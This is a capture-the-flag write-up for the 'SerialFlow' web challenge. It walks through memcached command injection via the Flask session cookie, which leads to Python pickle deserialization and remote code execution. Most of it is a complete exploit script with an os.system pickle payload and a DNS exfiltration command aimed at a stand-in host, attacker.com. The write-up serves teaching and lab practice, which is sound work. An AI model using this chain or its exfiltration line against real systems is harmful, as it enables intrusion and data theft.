2024 Cyber Apocalypse: SerialFlow
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Web |
| Challenge | SerialFlow |
| Difficulty | Medium |
Summary
SerialFlow is a complex challenge involving multiple vulnerabilities: memcached injection, Python pickle deserialization, and session management bypass. The Flask application stores session data in memcached using pickle serialization. By injecting malicious memcached commands, attackers can inject pickled Python objects that execute arbitrary code when deserialized.
Analysis
Vulnerability Chain
- Session Storage: Flask-Session stores data in memcached
- Serialization: Uses Python pickle (inherently dangerous with untrusted data)
- Injection: Memcached protocol can be injected through session manipulation
- Deserialization RCE: Pickle automatically executes code during deserialization
Memcached Protocol
Memcached uses a text-based protocol:
SET key flags exptime bytes [noreply]<data block>
GET keyVALUE key flags bytes<data block>ENDAttack Vector
By crafting a session parameter that injects memcached commands, we can:
- Override the session key
- Insert a pickled RCE payload
- Trigger deserialization through session access
Solution
Step 1: Create RCE Pickle Payload
import pickleimport os
class RCE: def __reduce__(self): cmd = 'cat /flag' return os.system, (cmd,)
payload = pickle.dumps(RCE(), 0)print(payload)Step 2: Encode for Memcached Injection
Memcached expects specific formatting. Encode special characters as octal:
def to_memcached_format(data): """Convert bytes to memcached injection format""" result = "" for byte in data: if byte > 64: # Printable ASCII result += chr(byte) elif byte < 8: result += f"\\00{oct(byte)[2:]}" else: result += f"\\0{oct(byte)[2:]}" return result
def generate_exploit(): payload = pickle.dumps(RCE(), 0) payload_size = len(payload)
# Craft memcached SET command cookie = b'137\r\nset BT_:1337 0 2592000 ' cookie += str.encode(str(payload_size)) cookie += str.encode('\r\n') cookie += payload cookie += str.encode('\r\n') cookie += str.encode('get BT_:1337')
# Convert to octal representation pack = '' for x in list(cookie): if x > 64: pack += oct(x).replace("0o", "\\") elif x < 8: pack += oct(x).replace("0o", "\\00") else: pack += oct(x).replace("0o", "\\0")
return f'"{pack}"'
print(generate_exploit())Step 3: Inject via Session Parameter
The memcached injection is sent through the application’s session mechanism:
curl -s 'http://target:port/set?uicolor=...' \ -H "Cookie: session=$(INJECTION_PAYLOAD)"Step 4: Trigger Deserialization
Access a protected endpoint that deserializes the session:
curl -s 'http://target:port/get' \ -H "Cookie: session=$(INJECTION_PAYLOAD)"Step 5: Exfiltrate Output
Since direct output may be limited, use DNS exfiltration:
import subprocesscmd = "cat /flag | nslookup `cat /flag`.attacker.com"Complete Exploit Script
#!/usr/bin/env python3
import pickleimport osimport requestsimport re
class RCE: def __reduce__(self): # Use DNS exfiltration for out-of-band data cmd = 'nslookup $(cat /flag | base64 | tr -d "=" ).attacker.com 8.8.8.8' return os.system, (cmd,)
def generate_memcached_payload(): """Generate memcached injection payload""" payload = pickle.dumps(RCE(), 0) payload_size = len(payload)
# Build memcached protocol command cookie = b'137\r\nset BT_:1337 0 2592000 ' cookie += str.encode(str(payload_size)) cookie += str.encode('\r\n') cookie += payload cookie += str.encode('\r\n') cookie += str.encode('get BT_:1337')
# Encode to octal for injection pack = '' for x in list(cookie): if x > 64: pack += oct(x).replace("0o", "\\") elif x < 8: pack += oct(x).replace("0o", "\\00") else: pack += oct(x).replace("0o", "\\0")
return f'"{pack}"'
def exploit_serialflow(target_url): """Exploit SerialFlow memcached injection"""
print("[*] Generating memcached injection payload...") payload = generate_memcached_payload()
print("[*] Sending injection payload...") session = requests.Session()
try: # Send injection through session cookie headers = { 'Cookie': f'session={payload}' }
# Trigger deserialization response = session.get(f"{target_url}/set?uicolor=%23FF0000", headers=headers) print(f"[+] Response: {response.status_code}")
# Access endpoint to trigger deserialization response = session.get(f"{target_url}/get", headers=headers) print(f"[+] Deserialization triggered: {response.status_code}")
# Monitor DNS for exfiltrated flag (requires DNS callback server) print("[*] Waiting for DNS callback with exfiltrated flag...")
except Exception as e: print(f"[-] Error: {e}")
if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' exploit_serialflow(target)Key Takeaways
- Python pickle is unsafe with untrusted data - use JSON instead
- Memcached protocol can be exploited through injection
- Session management must validate and sanitize data
- Combining vulnerabilities (injection + deserialization) enables RCE
- Out-of-band data exfiltration bypasses response size limits
- Flask-Session should use JSON serializer, not pickle
- Defense in depth helps mitigate vulnerability chains
Flag: HTB{p1ckl3_d3s3r14l1z4t10n_rc3}